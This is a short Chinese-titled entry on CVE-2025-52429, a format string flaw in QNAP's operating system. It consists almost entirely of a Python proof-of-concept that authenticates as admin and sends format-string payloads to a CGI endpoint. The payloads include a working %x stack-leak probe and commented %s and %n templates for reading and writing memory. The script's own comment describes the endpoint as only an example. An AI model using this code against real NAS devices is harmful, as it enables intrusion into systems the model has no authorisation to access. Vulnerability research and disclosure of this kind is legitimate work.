CVE-2025-52429：QNAP操作系统外部可控格式字符串漏洞

# CVE-2025-52429 PoC - QNAP Format String Vulnerability # This PoC demonstrates the format string exploitation concept # Note: Attacker must first obtain admin credentials (PR:H required) import requests import sys TARGET_URL = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" # Attacker must have valid admin credentials def exploit_format_string(target, session, payload): """ Exploit format string vulnerability by injecting format specifiers into a vulnerable parameter that is passed to printf-family functions. """ # Example vulnerable endpoint (actual endpoint varies by QTS version) vulnerable_endpoint = f"{target}/cgi-bin/qnap/format_endpoint" # Format string payloads for different objectives: # %x - leak stack values (hex) # %s - read string from stack pointer # %n - write to memory address on stack # %p - leak pointer values params = { "action": "apply", "param": payload # Inject format string here } try: resp = session.post(vulnerable_endpoint, data=params, verify=False, timeout=10) return resp.text except Exception as e: print(f"[ERROR] Request failed: {e}") return None def main(): # Step 1: Authenticate as admin (required due to PR:H) session = requests.Session() login_data = {"username": ADMIN_USER, "password": ADMIN_PASS} session.post(f"{TARGET_URL}/cgi-bin/login.cgi", data=login_data, verify=False) # Step 2: Probe for format string vulnerability print("[*] Probing format string vulnerability...") leak_payload = "%x.%x.%x.%x.%x.%x.%x.%x" result = exploit_format_string(TARGET_URL, session, leak_payload) print(f"[+] Stack leak result: {result}") # Step 3: Read memory using %s specifier (requires address control) # read_payload = "<address>" + "%s" # result = exploit_format_string(TARGET_URL, session, read_payload) # Step 4: Write to memory using %n specifier (requires address control) # write_payload = "<address>" + "%n" # result = exploit_format_string(TARGET_URL, session, write_payload) print("[*] Exploitation complete. Patch to QTS 5.2.6.3195 or later.") if __name__ == "__main__": main()